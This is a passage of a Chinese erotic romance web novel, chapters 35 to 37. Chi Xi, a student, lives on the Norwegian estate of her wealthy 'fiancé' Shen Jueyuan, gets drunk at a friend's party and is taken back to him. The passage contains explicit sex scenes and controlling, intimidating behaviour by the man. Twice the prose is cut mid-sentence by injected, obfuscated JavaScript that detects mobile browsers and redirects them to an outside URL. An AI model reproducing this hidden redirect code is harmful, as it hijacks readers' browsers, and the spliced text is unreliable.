忍不住地动情告白:“究竟是怎么做到的,让我再也离不开你。” 她的眼泪往下流淌,从脸颊滑到嘴角,最后滴落在滚烫炙热之上。 男人的大腿肌肉充血变硬。 池溪察觉到什么,想要离开。 察觉到她的意图,男人伸手按住她的后脑勺。 “唔——” 一阵绵长的呜咽声后,梦中的第三视角看到女人吃饱喝足后趴在男人的膝上沉沉睡去。 梦醒之后,池溪想起自己曾经有一个和沈决远长得一模一样的玩偶,她在感冒时对着那个玩偶说了一些胡话。最重要的是,那些胡话居然成真了。 - 同学受邀来家里参加小组作业的讨论会。他们其实看不出池溪的家境如何。 她虽然出行的方式十分夸张,不是各种豪车就是直升机接送。 但她给人的感觉非常平庸,当然不是说她这个人平庸,而是说她的生活习惯显得很平庸。 她不用什么大牌包包,在外吃饭也没什么忌口。不像其他人,只吃皮埃蒙特的白松露,只喝法国勃艮第的罗曼尼康帝。 偶尔会露出一副没见过市面的样子。譬如在听到同学说出自己的身上背的那只birkin的价格时。 这次来到她家一起学习讨论,从经过庄园的第一道安检岗时他们就震惊到说不出话来了。 里面大到需要搭乘园内摆渡车进来。墙壁上随处可见浮雕花纹,是象征家族身份的族徽。历史遗留已经百年了,有些地方甚至开始褪色脱落。 艾米莉看着摆渡车开过大片的森林和湖泊,最后停在一栋大楼前,她发自内心地感慨:“valerius,我只在教科书上见到过。” 这是一个非常有名的家族,作为本国人他们不可能不知道。 他们世世代代都是当地最大的慈善家,这种善举无疑是令他们本就强大的公信力更上一层楼。 比利沉吟片刻:“或许coco只是家里正好有人在这里做帮佣。她看上去没有半点北欧血统,是很纯正的亚洲人。” 全程都很沉默的妮娜却说:“为什么她不能是这个庄园的女主人呢?” 这话一出,其他二人都笑了。 怎么可能。 见多识广的大家族对于自己的伴侣要求非常高,已经不仅仅是在挑选伴侣了,更是在挑选这个家族的女主人,以及后代基因的培养皿。 需要经过非常严格的调查,往上至少九代祖先,都不能存在任何遗传病史。甚至还需要做非常精细的体检,包括智力的筛查。 这些都合格之后,才会去调查她的学历和能力。 这当然不是在指责coco不好。而是无论从哪方面看,连股票都看不懂的她,显然不在候选名单之中。 妮娜耸肩,没有继续说下去。 她当然也不确定,之所以这么说,仅仅只是因为前天在学校看到coco身上斑驳的红痕。这些痕迹是怎么产生的,对于她这样性生活丰富的人来说,太容易猜中。 说明她处在一段随时都会发生性生活的关系当中。 半个小时后的温室书房。 他们几个已经落座,池溪更是早就等在那里。 电脑打开放在桌前,手中正拿着一杯刚泡好的美式在提神。 佣人按照这几位客人的口味和要求提前准备好咖啡与甜品。 玻璃穹顶可以让阳光更好的照射进来。相比后花园种类更加珍稀的植物,橄榄树作为象征和平的代表,在这座庄园内随处可见。 古朴苍劲,年岁同样古老。旁边一排排书架,书籍按照类别摆放好,任何书都可以在这里找到。 当然,池溪最想看的那类找不到。 妮娜是巴西人,性格奔放热情,相比同组的其他两个人,池溪与她交往更加舒适一些。 佣人将咖啡与甜点一一端上来,全程都很安静,只完成自己的工作。 从她们可以看出,这座庄园的拥有者是一位追求效率,不苟言笑的绅士。 艾米莉对池溪的身份非常好奇,但出于教养方面的考量,她没办法直接问出来,这太失礼了。虽然她的家庭不仅这里的万分之一,但父母都是律师,也算是高知出生。 她只能旁敲侧击的赞美:“你家好大啊,我们进来的时候甚至看到了私人森林,摆渡车司机告诉我们,那里豢养着几匹猎豹和黑熊,是这座庄园主人的宠物。” 司机之所以告诉他们这些,是希望他们能够收起年轻的好奇心。它们都是吃生肉,平时也是自由在森林中捕猎。人如果在里面迷路,是一件非常危险的事情。 池溪和同学在一起时,是最放松的时候。大家针对小组作业集中讨论,偶尔还能听到他们聊一些学校里其他教授的八卦。 艾米莉和比利显然非常合拍,二人讲到同一件事时,都会露出微妙的笑意来。 妮娜替池溪将无法扭开的瓶盖打开,然后体贴地放在她的面前:“下周的小组作业可以安排在我家,我带你们去户外烧烤。” 池溪说这里也可以:“后面有个巨大的院子,我可以让他们帮忙搭个篝火。” 妮娜却摇头:“我很害怕和这些贵族们接触,他们的规矩太多了。” 池溪想告诉她,沈决远其实没那么多规矩。但她想了想,似乎也不是。 这人不仅规矩多,并且不喜吵闹。他愿意提供场地让他们学习,她已经很感谢他了,她不希望持续性地麻烦下去。 总之,那段时间池溪和新朋友们迅速处理好了关系。 她本来就是一个性格好且好相处的女生。 这样的人,无论在哪里都会受欢迎的。 她找到聊得来的新朋友,沈决远也替她感到开心。这些天没有看到她惆怅着一张脸想家了。 但找到新朋友的弊端也很快显露出来。待在家里的时间明显变少。甚至还开始夜不归宿。 沈决远看着手机中的那条信息。 ——我朋友过生日,所以我今天就不回去了(?????)? 沈决远眉头微皱:——又过生日? 池溪说:——她是领养的,所以她的养父母分别给她定了一个生日。 ——她的祖父祖母有没有也分别给她定下一个生日? 文字无法传达出情绪,所以池溪无法透过手机屏幕看出男人打下这行字时的淡淡怨气。 这句话反而提醒了她:——对哦,我待会去问问她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183917|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >如果她的祖父祖母也分别给她定下生日,那自己就要再多准备两份礼物了。 她的银行余额已经有点死掉了。 她想到钱夹里多出的那张卡。 她知道那是沈决远放进去的,但是她不敢动里面的钱。 沈决远看着那条信息,握着手机的那只手,力道大到都快直接将手机扭碎了。 他发现了,和她说话不能太拐弯抹角,因为她真的会看不懂里面的隐喻。 他当然可以强行要求她回来,并给她设置门禁,十点前必须回家。 但这种听话的结果显然不是他想要的。 不仅是因为她胆小容易被吓到。 比起强硬的逼迫来让她顺从,他更希望她是主观上的自愿。 自愿主动给他发信息,自愿在课程结束之后回到家。 她以前不就是这样吗,他的信息永远秒回。 不惜找各种理由和借口,只为了见他一面。 他回到中国参加葬礼的那次,她跟着自己的车走了很久。 当时中环堵车,从南靖路堵到北置,司机不得不开的缓而慢。 她当时背着包走在旁边的人行道,穿着那条浅粉色的裙子。站在人行道外圈,为了离那辆被困住的黑车更近一些。 也可以说,是为了离坐在黑车后排的男人更近一些。 她自以为掩饰的很好,频频往车窗内瞥过,试图透过隐私涂层处理后的单向透视车窗看见里面的人。 可是希望落了空,她只能透过单向车窗看见倒映其中的,演技拙劣的自己。 她身上在冒汗,整张脸也变得通红,那张紧张局促的感觉在这位十八岁的女学生身上,体现的淋漓尽致。 笨拙地想要离自己爱的人更近一些,即使只能通过这种愚蠢的方式。 冷风让她手臂生出细密的鸡皮疙瘩,害羞紧张却导致全身都在散发燥意。 十八岁,是最懵懂的大人。 十八岁,也是最成熟的少女。 既拥有能分清爱意的理智,同时又有毫不保留给出自己一切的莽撞。 他明明是有机会拥有她这段最美好的年龄。 可以尽情享受来自于一个少女热烈且羞涩的爱意。 如果他当时没有忽视她,而是选择将车窗降下来,绅士地邀请她坐上车,或许结果就会完全不同。 只是那个时候,他的确无法让自己去对一个两个月前刚成年的孩子下手。 更何况,这条被堵到水泄不通的马路上,她的亲人与他的相隔三个车位的距离。 无论从哪个角度来看,当时的车窗都不应该被降下。 妮娜的父母切好蛋糕,放在池溪的面前,用临时学来的蹩脚中文和她道谢。 谢谢她陪妮娜过生日。 妮娜的父母都是俄罗斯人,和妮娜在长相方面就有着比较明显的差距。 他们大大方方的告诉妮娜她是被领养回来的,但给她的爱没有任何减少。所以妮娜丝毫不在意这些。 在这种和睦充满温情的家庭之中,喝了点酒变得感性的池溪也忍不住落下泪了。 不是羡慕也不是嫉妒。她只是觉得,原来一家人住在一起,也可以是这种充满爱的氛围。 她渴望家庭,但是又恐惧家庭。害怕遇到父亲那样的男人。 沈决远的消息发了好几条,她因为喝酒上头,正靠着沙发上哭,所以他的消息回复的不是很及时。有几条甚至还忘了回。 他并没有说什么,只是询问她什么时候回家,提醒她早点休息。 还说明天早上会安排司机去接她。 池溪擦了擦眼泪,回了个Ok的手势便将手机放在了一旁。 妮娜正抱着她的妈妈,感谢她当年从福利院带走自己。 手机不断有消息进来,池溪视而不见。 直到后来,消息越来越多。她不得不拿起手机。 眼睛已经开始出现重影了,她看到手机里最新那条信息。 ——嫌我烦了是吗? 36.第三十六章 池溪睡了两个小时才稍微酒醒。 她看着手机,意识到距离沈决远给自己发送那条消息足足过去了两个小时。 顿时心凉了半截。 她这段时间其实一直在思考,她来这边的选择是对还是错。 世界上的确没有免费的午餐,某种意义上,她就像是因为这个留学的机会和沈决远签订了卖身契。 和他做-爱就是她支付的学费。 那她需要固定时间和他做吗,还是一旦他想做了,她就得立刻脱下自己的的裤子,乖乖将屁股撅过去? 池溪想到这里,顿时有一种虚无感。 尤其是喝了酒之后,这种虚无感就被放大。 她醉醺醺地问妮娜:“你觉得对方也是这么想的吗?” 妮娜听了她讲的事情之后,短暂地沉默片刻。 原来是这样。身为亚洲面孔的她却能住进那个守备森严,规矩繁多的古堡庄园内。是她用身体换来的。 “你是因为他没有给你一个合理的名分而不安吗?” 池溪摇头:“他说我是他的未婚妻。” 妮娜再次沉默:“既然你是他的未婚妻,那就没什么好不安的。” 毕竟她可以从coco的话里感觉到,她对于那种事情是自愿的。并非对方单方面强迫她。 可能她的不安来源于那种身份的不稳定。毕竟对方的身份的确尊贵到有些吓人。 她们所就读的那所学校,已经有三百年历史了,从建校初期,就是靠valerius家族捐赠的善款。 甚至学校如今所属的土地,也在valerius家族的名下。 往后每一次扩建,同样来自他们的金钱资助。 可是说,那所学校里除了老师之外,哪怕是里面的一草一木都属于valerius. 也就是现在的沈决远。 所以池溪进入这所学校就读几乎是一路亮绿灯。就算她是智力障碍,也可以顺路读到博士毕业。当然,如果她想留下来,沈决远同样可以安排她在学校任职。 妮娜问她:“介意我冒昧的问一下原因吗,你是担心他会抛弃你?” 池溪想了想,再次摇头,她一脸认真:“我不知道他为什么会说我是他的未婚妻,他说我失忆忘了这一切。我...虽然我的确喜欢他,可我总觉得有一个十分重要的东西存在我们之间,是那个东西让我感到不安。” 就好像,沈决远之所以对她这么好,就是因为那个被她遗忘的东西。 最近她开始零碎地想起一些事情来,也越发肯定了那个东西一定存在。 可究竟是什么,她完全没有印象。 妮娜沉思片刻,突然说出一个让人后怕的观点:“你该不会是曾经对他下了蛊,让他爱上你,然后在成功之后遭到了反噬?” 她对中国的文化一直都很感兴趣,甚至还在高中时加入过相关社团。 她知道中国有一个城市流行下蛊。 池溪听了之后只想叹气,看来外国人对中国的误解的确很大。但妮娜说的似乎也不是完全没有道理。 疑惑的种子一旦埋下,就会变得越来越大。如果真的是这样,那沈决远的反常就说得通了。 但,倘若真的是这样,被沈决远发现真相的话她可就完蛋了。 池溪醉醺醺的想着,再次倒回妮娜怀里。 她已经被酒精腌透了。 所以她没想过沈决远会亲自过来接她。 黑车开停在路边,司机毕恭毕敬的一声:“valerius先生,到了。” 男人缓慢睁开小憩的双眼,从黑车后排出来,按响复式小院门口的门铃。 是唯一没喝醉的妮娜起身去开的门。 她先是透过可视门铃确认了一遍对方身份。透过模糊不清的镜头,对方的英俊帅气却很清晰。 老实讲,儒雅绅士这一款其实不符合妮娜的审美。她还是更喜欢肌肉型男。 因为那些绅士总是顾及着自己的礼仪和教养,裤-裆勒的比谁都紧。 但有些时候,外形和气场到了一种极致的时候,是不分类型的。 审美这种东西就像是结实的堡垒,瞬间便被强势击溃。 他好迷人。这是妮娜对他的第一印象。 妮娜整理了下自己的衣服和发型,然后将门打开,礼貌询问:“请问您找哪位?” 门打开,里面的酒气铺天盖地涌出来。 男人眉头微皱,那张骨相过分立体的脸,此时充斥着不加收敛的气场。每一处线条都无比凌厉。 “看来你们今天喝了很多酒。” 没有自我介绍的开场白,那种居高临下的审问显得无礼且傲慢。却又让人无法说出除了回答他问题之外的其他话。 妮娜张了张嘴,最后还是小声地点头:“喝了..一点。” 眼神因此变得更沉。他似乎不满只有她好端端地站在这里。 “忘了做自我介绍。”哪怕连这点微不足道的礼貌都带着上位者的强势掌控,他从西装内袋中取出一张名片,递给对方,“我是coco的未婚夫,请问她在里面吗?” 虽然是询问句式的,但不等对方答话,他就已经绕过对方,登堂入室。 妮娜看着手中那张金属质感的名片,甚至还带着男人身上的体温。 没有任何附加身份,他的个人成就与职位一概不提。 只有他的全名。Eli·V· Valerius 如此随意的举动,将上位者的傲慢体现的淋漓尽致。 原来他就是那位Valerius先生... 那天去他家中做客,他虽然没有亲自露面,但礼数周到地招待了他们。 - 池溪是在两个小时之后醒的,她醒的时候人已经不在妮娜家里,而是在沈决远的加长林肯内。 后排宽大的真皮沙发可以让她有一个无比舒适的睡眠,旁边的隔断吧台上放着喝完的醒酒汤,甚至还有一碗见了底的燕窝。 对于酒量差的人来说,体内的酒精没那么快失效。所以池溪现在虽然醒了,却没有完全醒。处在比起微醺更高一层次的状态。 她按着后脑勺,茫然地环顾四周。不知道自己是怎么从妮娜的家里来到这个地方。 当她穿上鞋子准备下车时,胸口的异样让她轻轻嘶气。她低下头,内衣早就变得皱皱巴巴。 她的外套也不知道去了哪,旁边只放着一件男士外套。她想了想,还是将它穿在身上下了车。 量身裁剪的外套穿在她的身上,像是五岁稚童偷穿大人的衣服。她觉得自己都可以直接将它当成大衣穿。 下车之后,没了遮光帘的遮挡,她才发现这个点天已经蒙蒙亮。 处于一种被稀释的墨蓝色。 太阳还没有升起,树林里一片雾气,可见度很低。 沈决远靠着车头,手中夹着一支烟,正漫不经心地抽着。松弛的站姿呈现一种优雅从容的姿态。 其实他早就知道她醒了,但直到她主动走过来和他打招呼,他才从容不迫地转身,修长的手指轻掸烟灰:“距离日出还有一个小时,再去睡会吧。我到时候叫你。” “日出?”清晨的树林还有淡淡寒气,不过身上这件男士外套比预想的还要保暖。 宽大的外套和他的怀抱一样,有着令人心安的强势包裹感。 “从这里看日出,你会发现整个挪威是蓝色的。” 冰冷的蓝,温柔的蓝,包容万物的蓝。 池溪好奇地看过去,她在来之前就做好了攻略,她一直希望能看一次这边的日出。 沈决远体贴地将自己身上除了衬衫之外,仅剩的那件西装马甲也脱了。铺平在引擎盖上,抱着她坐上去。没熄火的车,引擎还在微微发着热,就像一块天然的取暖器。 沈决远显然也看到她身上的外套。 池溪有些心虚,伸手捏了捏领口,想要解释,她看到这件外套放在旁边,所以就穿上了。如果他要穿的话,她现在就脱下来还给她。 但沈决远并没有追究她未经允许擅自穿自己衣服这件事。 他是个占有欲很强,且不喜欢别人随意碰自己东西的人。不过他似乎是故意将外套放在她睁眼就能看见的地方。 池溪想,可能他是故意留给她的。 这种感觉很奇妙,孤男寡女在树林里等日出。既浪漫又纯情。 更何况,她身上还穿着他的外套。 “那个...我是怎么从妮娜家里出来的?”她还是好奇地问了出来。 男人走远点将那根烟抽完,听到她的回答后,略微垂眸:“你给我发了一些不知所云的消息,出于对你的担心,所以我去了她家。然后发现醉到不省人事的你。” 池溪最后的记忆停留在沈决远给她发完许多消息,然后问她是不是嫌他烦了。 她什么时候给他发了一些不知所云的消息。 或许是见她眼神充满困惑,沈决远体贴地将自己的手机递给她。 她看着屏幕内的聊天记录。 ——好想你啊,想你的屁股想你的大奶了。让我揉一揉吧,求你了呜呜呜。 ——你不拍女性向真的可惜了。 ——你能不能用你青筋暴起的手臂狠狠打我的屁股, ——你拍点吧,拍点好不好,就当是施舍我了。 ——你要和我玩主人和狗的游戏吗,我当狗你当主人。我是得了狂犬病的狗,我把你全身上下都咬一遍,把你骑在身下咬。 或许是意识不清到打字都打不好,直接发语音。 “我好想把你的全身都舔一遍,汪汪汪。” “小狗每天都要定时定点遛的,否则我就到处尿,尿完了你还要帮我洗澡。” “你都不是第一次了...你活儿那么好你肯定不是第一次。我有处男情节,我连看片都只看处男。” “.....” 池溪深吸一口气,绝望的次数多了,反而没那么绝望了。 如果没有后面那几条语音,她还能推到别人。 但这条语音发出去,任何解释都成了狡辩。 沈决远信天主。出生接受洗礼,从那天起他信仰就被固定。 天主教禁止婚前性行为。 所以他每做一次,就会给当地教堂捐赠一笔钱,作为自己和主的忏悔。 偶尔有空时,他会亲自去教堂进行忏悔。但大部分时间他都是没有空的。 现在性-事发生的勤了,他干脆改成每个月准时捐赠一笔善款,或是每月去一次教堂。 天主十诫中,别的他都可以遵守。但唯独那二十几公分的肉,它的使用权和控制权早就属于另外一个人了。 没用的东西,对一个女人的话言听计从。 他在心里淡淡辱骂它没用,却又任凭它盲目听从她的‘指使’ 她让它往东它就往东,她让它往里它就往里。让它往外,它会假装没听到。 “头还疼吗。”他无动于衷地从她手里接过手机,仿佛对于她不久前,对于自己身体的言语冒犯并不在意,“我给你煮了醒酒汤。不过你不肯喝,让我嘴对嘴喂你。” 池溪抿唇:“嘴对嘴....” “嗯。”沈决远上前替她整理了一下外套,“最后我喝了一半,你喝了一半。所以作用可能没那么大。” 池溪都快习惯这种丢脸的尴尬感了,甚至慢慢觉得有点享受。 她以为沈决远会生气,但他没有。非但没有,反而体贴地照顾她。甚至还带她来看日出。 “谢谢....”她不敢看他,眼睛去看远处的天空,“挪威的天空好漂亮。” “是啊。”沈决远举止自然地握住她的手,“但是看多了,也就没什么特别的。” 池溪觉得自己和他的想法不同。他之所以觉得看多了没什么特别,那是因为他已经看过太多更美的景色。但池溪不是,正是因为看得少,所以每一样在她这里都弥足珍贵。 她觉得自己可以像小王子那样,一天看四十三次日出日落。 她的回答显然让沈决远感到满意。因此他的动作更加温暖,伸手主动将她的手放到她醉酒时日思夜想的地方:“我听说你们下周有实践作业,找到位置了吗?” 池溪的手放在那里,像抓住了一块烧烫的铁块一般。坐立难安。 松开不是,继续放着也不是。 “嗯..还没找到。” 沈决远问她:“你的那些同学呢?” “他们打算去父母的公司或者律所。”毕竟能在那所学校就读的,都属于这个国家的上流社会。 只剩池溪还没有决定好。 她打算去招聘网站投下简历试试,但又因为语言不通什么也做不了。 沈决远宛如天降甘霖一般,他稳妥而周到地替她考虑好一切:“那就去我的公司吧。” “不行...”池溪几乎是下意识拒绝。 “为什么不行?” 池溪认真回答:“因为我不想麻烦您。” 他低头听完,很轻地笑了,身上的深色衬衫在逐渐苏醒的夜色中,那种强势稳重的掌控感变得更加权威。 如果不是此时他主动带动池溪的手放在自己的胸口,他给人的感觉会更加的成熟儒雅。 胸前的衬衫因为她那只手逐渐起了褶皱。池溪突然想到自己睡醒时的内衣,也是一样多的褶皱。 “又不是第一次麻烦我了。”他腕间那块黑银腕表在朦胧夜色中泛着冰冷质感的光泽,“而且,在这种地方你除了麻烦我,还能麻烦谁。” 沈决远比池溪更加了解她。 心口不一,看着老实,其实心里想的和表现出来的,全然相反。 两个小时前抱着他在车里,主动将自己的小屁股拱到他的掌心,让他打。 打着打着,她的双腿就抱住他的手不让走了。 那副诚实发骚的样子可比现在可爱多了。 池溪似乎觉得他的话有道理,又不说话了。其实她现在的酒没有完全醒,所以表现得也没有平时那样窝囊老实。 她这样的胆小鬼,其实最渴望自己喜欢的人用强势的污言秽语来‘逼迫’她。 那样她会‘不情不愿’地乖乖照做。 池溪看到沈决远动作优雅地将手中腕表摘了,随手放在一旁。 她心疼地看了一眼,如此贵重的腕表,万一损坏了怎么办。 注意到她的眼神,沈决远掌着她的后脑勺,强迫她将视线扭回来。 “距离日出应该还有一段时间,这么干等不觉得枯燥吗。” 池溪被圈在他的面前,属于他的气息铺天盖地。 如果她没猜错的话,这片森林应该是庄园内的那片私人森林。 她也是听管家说的,这里豢养着沈决远的‘爱宠’ 那些吃生肉并且丝毫没有丧失捕猎技巧的猛兽。 可是此刻,那些猛兽所带来的危险与压迫感,都没有面前这个男人带来的万分之一强大。 他弯下腰时,领带在她面前晃。像挂着诱饵的钓钩。 她仿佛可以看到半个小时后,她趴在引擎盖上,而这条结实的领带绑住自己的小腿。 她当然不是无缘无故的幻想,她只是..偶然想到自己前几天看过的一部漫画。 男女主在看日出时,在树林里。 女主的小腿被领带绑住,柔软的身体被上下折叠,以体前屈的身体趴在引擎盖上。脚踩着挡风玻璃。 □*□ 想到这里,池溪不知道是害怕还是其他,咽了咽口水:“我...我也不知道,我很少看日出。” 为数不多的几次是给家人守灵。 给外公外婆守灵,后来是给妈妈守灵。 那几天她一直看着日出发呆,思考自己未来该怎么办。 她没有亲人了,对于一个渴望爱的人来说,失去亲人的代价是巨大的。 “除了很少看日出之外,还有别的事情是你很少做的吗?”他语气温和,但立体的眉眼还是让他有种高不可攀的距离感。 池溪茫然地摇头,她暂时想不起来。 沈决远声音缓慢地低沉下去:“很少回信息。没礼貌的坏孩子。” 他的轻声斥责在此时没有起到威慑的作用,反而带着一种男女之间的调情。 池溪抿了抿唇,一种异样的情愫悄然涌动。 他弯下腰,两只手撑放在她身侧的引擎盖上,逼问她:“为什么不回信息。” 离她越来越近,鼻尖几乎都要碰到她的鼻尖。 他的侧颜太顶了,舒展且锋利的侧颜轮廓,让他达到了惊人的黄金比例。 这种造物主的优待显然是世间独一份的。哪怕拿着他这张脸去当整容模板,也只会画虎类犬。 只属于他的,克制内敛,极具性张力的男性魅力。 “我没有不回,我只是....”她还在狡辩,说话都不敢太大幅度。离得太近了,她总觉得自己幅度稍微大一点,或是身子微微前倾,就能立刻亲到他。 肉眼可见男人的神色因为她的回答变得严肃,她的声音也渐渐轻了下去,“没看到....” “是吗。那为什么每条都显示已读。” “啊?我.....”该死的,她忘了这个社交软件还有这种变态的功能,“可能是我朋友不小心看到我的手机点开了..” 他若有所思地问她,“哪个朋友。” 其实他的语气不算重,但池溪轻而易举就被吓住,不敢开口。 沈决远继续问:“刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192486|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才为我开门的那个?既然是你的同学,我亲自去问不太合适。不过她父母工作的医院和我有合作,我可以让他们过来一趟,问问他们是怎么教育孩子的,不懂得尊重他人隐私,擅自....” 池溪早就被吓到不敢继续撒谎,她生怕害了妮娜,立刻开口:“是我自己...是我自己已读不回的!” 是他意料之中的答案。沈决远并不意外,他只是问:“为什么不回复,我发了那么多条,为什么不回。我以前给你发的信息,你不是都珍惜到打印出来,甚至做成了一本册子。” 池溪愣住了:“你怎么....” “我怎么知道的?”他自问自答,“我当然知道,你每次偷看我都特别明显。还把自己亲手做的茶点和佣人端上来的放在一起。还抱着我的外套睡觉。” 池溪没想到这些东西他全都知道。这种地位悬殊的暗恋,让她也只能做到这个程度。她以为沈决远是来找她兴师问罪来了。 对方却说:“为什么现在不继续了。” 不继续这么做。 他伸手放在那块贴肤的布料上,惩罚般地轻轻捏了捏。 她轻呼一声,小嘴张了张,沈决远的手指指节适时地塞入。卡住那张嘴,不让她闭拢,“你父亲没教过你的东西,我来教你。收到别人信息要及时回复,这是基本礼仪,知道吗?” 她抱着他结实的胳膊,眼泪被逼出来:“我我我知道了。” “现在可以回答我,为什么不回我的信息吗?”她这副委屈巴巴的样子又让他开始心疼。他语气变得温和。 沈决远觉得自己逐渐变得陌生起来,他什么时候因为这种事情心软过。 说到底,她到底有什么魔力。 “我不想回....”她回答。 “为什么不想回?” “觉得没有回的必要。” “......” “而且..你以前也经常不回我的信息,那个时候我很难过。但是现在我反而理解你为什么不回我的信息...一次性看到那么多条,真的会烦....” 池溪越说,酒精的作用下,她就越上头。 她甚至都忘了她的嘴还被男人的手‘挟持’着。 高定西裤是采用非常严谨的尺寸量身裁剪加以定做,精准收省。 所以每一处线条都是完美贴合身体轮廓的。 一旦发生任何反应,都会以一种直观且明显的状态表现出来。 池溪察觉到不对,想要逃跑。但她坐在引擎盖上能跑到哪里去。 沈决远伟岸宽厚的肩将她的视线遮的密不透风。当他站直身体时,她能看到的只有他。 他的宽肩,他饱满的胸肌,他内收的窄腰、宛如鲨鱼牙齿一般的鲨鱼肌,以及被皮带与西裤盖住的人鱼线。 沈司桥之前和池溪说他哥哥老了,至少在年龄这方面不如他。 池溪想,沈决远这种儒雅与性感并存的daddy,越成熟只会越有魅力。 无论是让人欲罢不能的强势掌控,还是惊人的阅历。 随着时间的增长,会不断变得厚重。他结实健壮的男性躯体也会被年龄浸透。 肌肉不再是一味的发硬发烫,而是软硬适中,该硬的时候硬,该软的时候软。 随着他的年龄加深,他对自己身体的掌控会更加熟练。 胸怀也会更加包容。 ——就算世界上同时出现三个她,左边靠一个,右边靠一个,中间还可以再依偎一个。 池溪不知道自己为什么要胡思乱想这些有的没的。她早就从车外回到了车内。 此刻是w坐的姿势,脸贴在车窗上。 男人从身后抓着她的胳膊:“看到日出了吗?” 她的脸一下一下地往车窗玻璃上蹭,饱满的脸颊肉不断被挤的堆积起来:“嗯,看...看到了。” 他特地将车开到了视野最开阔的地方,让她可以亲眼看着日出升起。 沈决远告诉她:“我有一段时间失眠非常严重,那个时候我最常做的就是看日出。你能想象吗,从日落坐到日出。” 池溪的心脏似乎被猛地撞击了一下:“一定很难受。” 他无动于衷的轻笑从身后传来:“还好。工作的时间反而变多了。我就是在那段时间让自己的产业扩张的。” 听了他的话,池溪的身体一阵颤栗。 她觉得沈决远的可怕之处就在于他没有弱点。 多少人因为长期的失眠抑郁焦虑,最后导致更多的心理与生理疾病。给生活造成巨大的影响。甚至还有因此选择结束自己生命的。 可沈决远,疾病也无法控制他的身体。他拥有自己身体的绝对掌控权。 想到这里,她不甘心地深深呼吸,身体的所有肌肉因为她的情绪瞬间紧绷。 男人不受控的低‘嗯’一声,他弯下腰来,用胸肌蹭她的后背,然后捏着她的脖子,强迫她扭转脑袋。 他咬住她的唇,双唇激烈的拥吻,他比起含蓄的亲吻显然更喜欢淫靡的湿吻。呼吸和津液在唇齿间互换,粘腻湿重的水声在安静的车内响起。他的舌头肆意地在她唇舌间搅弄。 牙齿咬着她的舌头,强硬却注重力道地扯了出来,最后含在自己的口中吮吸。舌尖抵着舌尖,来回扫动,最后再大口含吮。 池溪的嘴巴被迫张的很大,舌头被别人褫夺,嘴角的口水不受控地流了出来。眼睛甚至都翻起了白眼,一副被亲爽的窝囊模样。 她想,他肯定不是处。否则为什么这么会接吻。 不知道过了多久,沈决远终于放过了她那张被吮吸到红肿的唇。 他重新按着她的腰,让她去看车窗。 车子的震动吸引了狩猎者的注意。 它小心翼翼地靠近,沿着这辆加长的林肯车来回闻嗅。 似乎闻到了什么。它最后停在后排车窗的位置,刚好和池溪隔着车窗对视。 野兽的竖瞳与人不同。 池溪害怕到停止呼吸,生怕被它发现。她刚要告诉沈决远对方的存在。 突然—— 她被那种近乎窒息的饱胀感弄到瞪大眼睛,为什么她感觉又多了两个同时在..... 她疑惑地回头,发现沈决远的手中不知道什么时候多出了一个娃娃。 和她长得一模一样的娃娃。 □*□ “这个娃娃,有印象吗?”他甚至还能保持从容优雅的姿态询问她。 池溪早就说不出话来了:“什么...什么娃娃?” □*□ 她盯着那个娃娃发了会呆,没发现娃娃下方的食指与中指,最后的指节也彻底消失不见。 □*□ 池溪无法具体形容此刻的感受。 她觉得自己好像是死了,并且处于一会在天堂一会在地狱的极端感受。她整个人都融化了。身体融化了,大脑也融化了。 在所有声音堆积在喉咙,就要以一种歇斯底里的姿态破颈而出时,男人弯下腰,及时捂住她的嘴。 他贴心地告诉她:“如果声音太大,被外面的猎豹听见的话,它会确定里面有它的食物。这辆车恐怕坚持不了多久。” 池溪用害怕的眼神问他:“它不是你的宠物吗?” 男人笑了笑,遗憾地告诉她:“这头不是。我养的那一只身上有我名字的烙印。我习惯在我的所有物上写下自己的名字。” 说到这里,他故意停顿,拍了拍她的屁股。 她拼命摇头,她不要在屁股上写下他的名字。 他笑了,安抚她:“你又不是我豢养的宠物,你是我的未婚妻,我不会用这种奴役驯服的方式对待你。我只会在你的无名指套上属于我的结婚戒指。” 他为什么如此笃定自己是他的未婚妻呢。 难道真如妮娜说的那样,自己给他下了蛊。 这辆车停在这里实在显眼,不断晃动的车身简直就是天然的野兽诱捕器。 那头猎豹沿着车身四处寻找气味最浓郁的地方,最后停在后排。 □*□ 可是她在和谁求救呢,和外面那只随时想要吃掉她的野兽吗?还是说,车内的男人在她看来,比那头野兽更危险。更可怕? 猎豹逐渐失去等待的耐心,开始用身体撞击车窗。 □*□ 但和车本身的震动频率竟然保持了惊人的平衡。 ..... 池溪昏死过去的时候,记忆像是高压水枪,一股一股地涌进了她的身体。 她记起来了。不久之前,她是在一场流星雨下和沈决远... 但现在,流星雨变成了日出和猎豹。 她想起自己被弄脏的那件大衣,现在,她也弄脏了沈决远的大衣。 扯平了。 37.第三十七章 池溪做了一整晚的梦,梦里那头猎豹终于撞碎了车窗玻璃,将她扯了出去,撕碎她的四肢,啃咬她的骨头。 她从噩梦中吓醒,发现自己躺在床上,身上盖着炭灰色的被子。 这不是她的房间。 无论是属于这个房间的颜色还是气息,都来自于另一个男人。 佣人将早餐端进来,放在卧室外的客厅。 池溪穿上鞋子后出去,佣人已经将餐具摆放好了。 这是和在沈家完全不同的待遇。说到这里,郑伯母倒是经常会联系她。 